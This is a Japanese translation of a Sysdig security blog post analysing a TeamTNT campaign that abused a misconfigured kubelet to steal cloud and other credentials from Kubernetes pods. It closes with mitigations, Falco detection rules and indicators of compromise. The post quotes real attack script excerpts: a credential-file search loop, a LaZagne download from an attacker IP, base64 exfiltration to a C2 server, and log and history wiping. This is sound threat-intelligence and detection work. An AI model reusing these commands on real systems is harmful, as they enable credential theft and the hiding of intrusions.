本文の内容は、2022年9月19日にAlberto Pellitteriが投稿したブログ(https://sysdig.com/blog/teamtnt-kubelet-credentials/)を元に日本語に翻訳・再構成した内容となっております。
TeamTNT は、少なくとも 2019 年後半以降、Kubernetes や Docker などのクラウドおよび仮想環境を標的としている、広く横行している脅威アクターです。この脅威主体は金銭的な動機があり、認証情報の窃取とクリプトマイニングに力を注いでいます。2020年、私たちはインターネットに公開された安全でないDocker APIエンドポイントにおける彼らのWeave Scopeの利用を分析しました。2021年12月には、TeamTNTが脆弱なWordPress Podを標的とし、AWSの認証情報を窃取する攻撃を行ったと分析しています。
本ブログでは、最近発見した、Kubernetesクラスターのkubeletサービスの設定ミスを悪用した別の広範囲なTeamTNTキャンペーンの影響についてお伝えします。攻撃者がどの設定ミスを悪用し、どのような実行を行ったか、そしてそれをどのように検知するかについて説明します。
Kubeletとは?
Kubeletとは、各Kubernetesノード上で動作するプロセスで、KubernetesのPodを管理する役割を担っています。ノードで新しいPodがスケジュールされると、kubeletはkube-apiserverから仕様を受け取り、その仕様を満たすコンテナをspawn upするようコンテナランタイムに指示を出します。このとき、
containerd
や cri-o
, などのコンテナランタイムは、要求されたコンテナを起動します。とはいえ、kubeletはコンテナではなく、マシンに直接インストールされて動作し、ポート10250でリッスンするノード・エージェントであることを強調しておく必要があります。このポートは通常、Kubernetesクラスター内でのみ開放されており、これと通信するためには何らかの認証・認可の仕組みが強制されるのが一般的です。
しかし、私たちはハニーポットクラスターの1つでkubeletエージェントの設定を誤り、TeamTNTはPodにアクセスし、バイナリをダウンロードし、悪意のある実行を開始することができたのです。
誤設定されたkubelet攻撃の構造
2021年12月のTeamTNTに起因する攻撃は非常にシンプルで、AWS認証情報を盗むためにbashスクリプトをダウンロードして実行し、既知のTeamTNT C2サーバーに情報を流出させるというものでした。今回検出したものは、クレデンシャルを盗むという主目的は同じですが、もう少し複雑で洗練されたものになっています。TeamTNTは、kubeletの設定ミスを突いて、稼働中のPodの1つにアクセスすると、必要なパッケージをインストールし、以下のバイナリをダウンロードしました。
Sysdig脅威リサーチチームは、悪意のあるバイナリが被害者のPodにダウンロードされるフローを分析しました。
TeamTNTのダイアグラムフロー感染
最初のペイロード (
.x1mr
) は、Podへの最初のアクセスのための舞台を設定しました。このスクリプトは、他のバイナリをダウンロードし、そのパーミッションを変更して起動します。この時点で、コンテナは tsunami malware (
ptyw64
)と思われるものに感染し、バックグラウンドで実行され、リモートマシンとの通信を開くバックドアを生成していました。この代わりに、暗号通貨のマイニングを停止し、他のスクリプトに作業を任せるために、システム上で実行されているプロセスを発見するための
kill_miner
bashスクリプトが実行されることもありました。さらに、認証情報を盗んでC2サーバーに送信する目的で、他の多くのスクリプトが実行されました。
aws2.sh
は、2021年12月に分析したスクリプトの改良版です。これは、ファイル、プロセス環境変数、メタデータエンドポイント、Dockerコンテナ層でAWS関連のクレデンシャルを検索します。creds.sh
も同様ですが、他の機密クレデンシャルを格納できるファイル名も検索します。
CRED_FILE_NAMES=("credentials" "cloud" ".s3cfg" ".passwd-s3fs" "authinfo2" ".s3backer_passwd" ".s3b_config" "s3proxy.conf" \ "access_tokens.db" "credentials.db" ".smbclient.conf" ".smbcredentials" ".samba_credentials" ".pgpass" "secrets" ".boto" \ ".netrc" ".git-credentials" "api_key" "censys.cfg" "ngrok.yml" "filezilla.xml" "recentservers.xml" "queue.sqlite3" "servlist.conf" "accounts.xml" "azure.json" "kube-env") … for CREFILE in ${CRED_FILE_NAMES[@]}; do # echo "searching for $CREFILE" find / -maxdepth 23 -type f -name $CREFILE 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %' >> $EDIS …
script.sh
は、オープンソースのツールLazagneをカスタマイズして軽量化したものをダウンロードし、実行します。これは、マシンに保存されているパスワードを検索し、発見するために使用されました。
… wget http://134.209.248.91/wp-content/themes/twentyseventeen/LaZagne.tar.gz tar xvf /tmp/.laz/LaZagne.tar.gz 2>/dev/null 1>/dev/null rm -f /tmp/.laz/LaZagne.tar.gz 2>/dev/null 1>/dev/null pip3 install -r /tmp/.laz/LaZagne/requirements.txt 2>/dev/null 1>/dev/null rm -f /tmp/.laz/LaZagne/requirements.txt /tmp/.laz/LaZagne/README.md cd /tmp/.laz/LaZagne/Linux/ python3 laZagne.py all -oN BASE64DATA=$(cat /tmp/.laz/LaZagne/Linux/credentials.txt | base64 -w 0) …
収集されると、発見された認証情報はbase64でエンコードされ、ネットワーク経由で既知のTeamTNT C2サーバーに流出しました。
send_aws_data(){ SEND_B64_DATA=$(cat $CSOF | base64 -w 0) rm -f $CSOF dload http://84.201.153.234/wp-content/themes/twentyseventeen/.b/laz6.php?b=$SEND_B64_DATA #2>/dev/null dload http://84.201.153.234/wp-content/themes/twentyseventeen/.b/laz6.php?b=$SEND_B64_DATA #2>/dev/null }
最後になりましたが、悪意のある行為者は、その痕跡を消そうと、取得した認証情報とコマンド履歴を削除し、その存在の証拠を消したり、防御の妨げにしたりしました。
… notraces(){ chattr -i $LOCK_FILE 2>/dev/null 1>/dev/null rm -f $LOCK_FILE 2>/dev/null 1>/dev/null rm -f /var/log/syslog.* 2>/dev/null 1>/dev/null rm -f /var/log/auth.log.* 2>/dev/null 1>/dev/null lastlog --clear --user root 2>/dev/null 1>/dev/null lastlog --clear --user $USER 2>/dev/null 1>/dev/null echo > /var/log/wtmp 2>/dev/null echo > /var/log/btmp 2>/dev/null echo > /var/log/lastlog 2>/dev/null echo > /var/log/syslog 2>/dev/null echo > /var/log/auth.log 2>/dev/null rm -f ~/.bash_history 2>/dev/null 1>/dev/null touch ~/.bash_history 2>/dev/null 1>/dev/null chattr +i ~/.bash_history 2>/dev/null 1>/dev/null history -cw clear } …
緩和策
この話の教訓は何でしょうか?まず、kubeletサービスに対する匿名リクエストを公開または許可してはいけません。これは不要なリスクであり、環境内で実行するコンテナを危険にさらす可能性があります。さらに、コンテナの1つが特権的なものでもある場合、脅威者がKubernetesノードに直接アクセスすることを認めてしまうことになります。
2つ目は、パスワード、認証情報、シークレットをPodやマシンに保存しないことです。もしそれらが侵害された場合、あなたのシークレットは危険にさらされ、あなたのリソースへの制御不能なアクセスを許可することになります。
3つ目は、可能であれば、環境を保護するために、最も安全な手段を採用することです。例えば、AWSの場合、メタデータエンドポイントに到達するためにIMDSv1ではなくIMDSv2を選択してインスタンスを作成することができます。
検知
TeamTNTによって行われた悪意のあるテクニックのいくつかを実行時に検知するために、Falcoを使用することができます。FalcoはCNCFのインキュベートプロジェクトで、クラウドネイティブ環境における異常な活動の検知を支援し、実行時にアラートを送信します。これを行うには、デフォルトのFalcoのルールを使用するか、その簡単で柔軟な言語を活用して、より具体的なものを作成します。
このような疑わしい実行が検知されるたびに、Falcoのアラートを受信することができます。
- macro: private_aws_credentialsこれらのルールについてもっと詳しく知りたい場合は、GitHub でルールの完全な説明を確認することができます。
condition: >
(proc.args icontains "aws_access_key_id" or
proc.args icontains "aws_secret_access_key" or
proc.args icontains "aws_session_token" or
proc.args icontains "accesskeyid" or
proc.args icontains "secretaccesskey")
- rule: Find AWS Credentials
desc: Find or grep AWS credentials
condition: >
spawned_process and
((grep_commands and private_aws_credentials) or
(proc.name = "find" and proc.args endswith ".aws/credentials"))
output: Search AWS credentials activities found (user.name=%user.name user.loginuid=%user.loginuid proc.cmdline=%proc.cmdline container.id=%container.id container_name=%container.name evt.type=%evt.type evt.res=%evt.res proc.pid=%proc.pid proc.cwd=%proc.cwd proc.ppid=%proc.ppid proc.pcmdline=%proc.pcmdline proc.sid=%proc.sid proc.exepath=%proc.exepath user.uid=%user.uid user.loginname=%user.loginname group.gid=%group.gid group.name=%group.name container.name=%container.name image=%container.image.repository:%container.image.tag)
priority: NOTICE
tags: [mitre_credential_access, process, aws]
- macro: private_key_or_password
condition: >
(proc.args icontains "BEGIN PRIVATE" or
proc.args icontains "BEGIN RSA PRIVATE" or
proc.args icontains "BEGIN DSA PRIVATE" or
proc.args icontains "BEGIN EC PRIVATE" or
(grep_more and
(proc.args icontains " pass " or
proc.args icontains " ssh " or
proc.args icontains " user "))
)
- rule: Search Private Keys or Passwords
desc: >
Detect grep private keys or passwords activity.
condition: >
(spawned_process and
((grep_commands and private_key_or_password) or
(proc.name = "find" and (proc.args contains "id_rsa" or proc.args contains "id_dsa")))
)
output: >
Grep private keys or passwords activities found
(user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)
priority: WARNING
tags: [process, mitre_credential_access]
- rule: System procs network activity
desc: any network activity performed by system binaries that are not expected to send or receive any network traffic
condition: >
(fd.sockfamily = ip and (system_procs or proc.name in (shell_binaries)))
and (inbound_outbound)
and not proc.name in (known_system_procs_network_activity_binaries)
and not login_doing_dns_lookup
and not user_expected_system_procs_network_activity_conditions
output: >
Known system binary sent/received network traffic
(user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline connection=%fd.name container_id=%container.id image=%container.image.repository)
priority: NOTICE
tags: [network, mitre_exfiltration]
- rule: Contact EC2 Instance Metadata Service From Container
desc: Detect attempts to contact the EC2 Instance Metadata Service from a container
condition: outbound and fd.sip="169.254.169.254" and container and not ec2_metadata_containers
output: Outbound connection to EC2 instance metadata service (command=%proc.cmdline connection=%fd.name %container.info image=%container.image.repository:%container.image.tag)
priority: NOTICE
tags: [network, aws, container, mitre_discovery]
- rule: Contact cloud metadata service from container
desc: Detect attempts to contact the Cloud Instance Metadata Service from a container
condition: outbound and fd.sip="169.254.169.254" and container and consider_metadata_access and not user_known_metadata_access
output: Outbound connection to cloud instance metadata service (command=%proc.cmdline connection=%fd.name %container.info image=%container.image.repository:%container.image.tag)
priority: NOTICE
tags: [network, container, mitre_discovery]
侵害の指標(IoC)の概要
IPs & URLs
- 84.201.153.234
- 134.209.248.91
- http://134.209.248.91/wp-content/themes/twentyseventeen/ptyw64
- http://134.209.248.91/wp-content/themes/twentyseventeen/kill_miner
- http://134.209.248.91/wp-content/themes/twentyseventeen/LaZagne.tar.gz
- http://84.201.153.234/wp-content/themes/twentyseventeen/.a/aws2.sh
- http://84.201.153.234/wp-content/themes/twentyseventeen/.b/script.sh
- http://84.201.153.234/wp-content/themes/twentyseventeen/.b/creds.sh
- http://84.201.153.234/wp-content/themes/twentyseventeen/.a/upload2.php
- http://84.201.153.234/wp-content/themes/twentyseventeen/.b/laz6.php
MD5
- .x1mr: bb003f12a18d1e8671fa631814d3b306
- ptyw64: 14a348ca4ca77bee9d6e5523b5fca0a5
- kill_miner: 399a6b8bf8ae2f455f71f4c455bbd069
- aws2.sh: 6eb1c1b3acbb0a71013826d512b3ebb6
- creds.sh: 26986f94582fa3e035aa7a1ab71de84a
- script.sh: f7eed3fd39095f9ed29a83bc4a4fe689
- LaZagne.tar.gz: 04ae78c8b130f152d1f5959a54bcff72
Filenames
- .x1mr
- ptyw64
- kill_miner
- aws2.sh
- creds.sh
- script.sh
- LaZagne.tar.gz
まとめ
以前発見したように、TeamTNTは依然として機密性の高いクレデンシャルを探しています。しかし、今回の新しいキャンペーンでは、彼らの焦点がもはやAWSだけではないことがわかりました。さらに、GitHubやSSHキーのようなものに関連する他の機密情報もTeamTNTによって監視されています。これらを利用して、彼らは機密性の高いプラットフォームにアクセスし、ラテラルムーブメントを試みることができます。これらの新しいインシデントは、悪意のある行為者が継続的に新しい攻撃戦略を採用し、検知を回避するために技術を進化させていることを再確認させるものです。今回のケースでは、TeamTNTがKubernetesクラスターを標的とし、被害者コンテナへの機密データを検索していると分析されています。これは時に、ラテラルムーブメントと権限昇格の試みにもつながる可能性があります。
強力なランタイム セキュリティ ツールである Falco を使用して、このキャンペーンが引き起こす可能性のある疑わしいアクティビティを検知できることを忘れないでください。 最後に、環境内で常にセキュリティのベスト プラクティスを実施する必要があります。 匿名認証を有効にした状態で kubelet デーモンをパブリック ネットワークに公開したり、資格情報をファイル システムに保存したりしないでください!